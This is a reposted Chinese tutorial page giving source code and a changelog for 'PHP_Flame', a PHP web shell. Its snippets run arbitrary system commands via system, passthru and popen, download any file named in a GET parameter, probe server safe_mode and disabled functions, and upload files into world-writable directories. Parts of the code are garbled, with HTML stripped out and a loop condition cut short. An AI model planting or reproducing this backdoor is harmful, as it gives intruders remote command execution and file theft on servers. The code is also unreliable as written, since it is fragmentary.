Home >Backend Development >PHP Tutorial >PHP_Flame(Version:Progress)的原代码_PHP

PHP_Flame(Version:Progress)的原代码_PHP

WBOY
WBOYOriginal
2016-06-01 12:38:38928browse

I PHP_Flame (Version: Progress ) 的一些信息:



*修正了无法下载文件的BUG
*修正了无法返回上级的BUG
*修正了代码编辑出现错误的BUG
......

*增加PHPINFO的功能
*增加多文件下载的功能
*增加执行系统命令的功能
*增加代码查看功能
*增加服务器安全探测功能
.......

*还有许多美化工作。。。。。。 相关的资料:


1。修正了无法返回上级的BUG的代码:
echo "返回上级";


2。修正了无法下载文件的相关代码:
case "download":
if (!@is_file($_GET['file_name']))
echo"你要下的文件不存在";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;



3。增加代码查看功能
文件代码


4。修正了代码编辑出现错误的代码:
$tem= str_replace("/textarea>","//textarea>",$tem);
。。。。。
$tem= str_replace("//textarea>","/textarea>",$tem);


5。增加服务器安全探测功能:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("no value");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}


6。执行系统命令部分的代码:

if ($actionaa=="cmd") { ?>











if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAME
";
echo "* Author: JSW
";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("no value");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}

echo "
* Now please choose a function and enter the command......";
}
echo "
"; <br>if ($method=="system") { <br>system("$cmd 2>&1"); <br>} <br>if ($method=="passthru") { <br>passthru("$cmd 2>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$file\n"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="brush:php;toolbar:false">"; <br>//echo show_source($file); <br>//echo "
";
} else {
echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "";
exit;
}
?>

7。增加文件上载的代码:
if($dir=="")
$dir="./";
?>

if($tools==upload)
{
for($i=1;$i{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传
";
}
else
echo $source_name."请重新上传!
";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传
";
}
}
}//end for
echo"


JSW'S PHP FLAME


Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn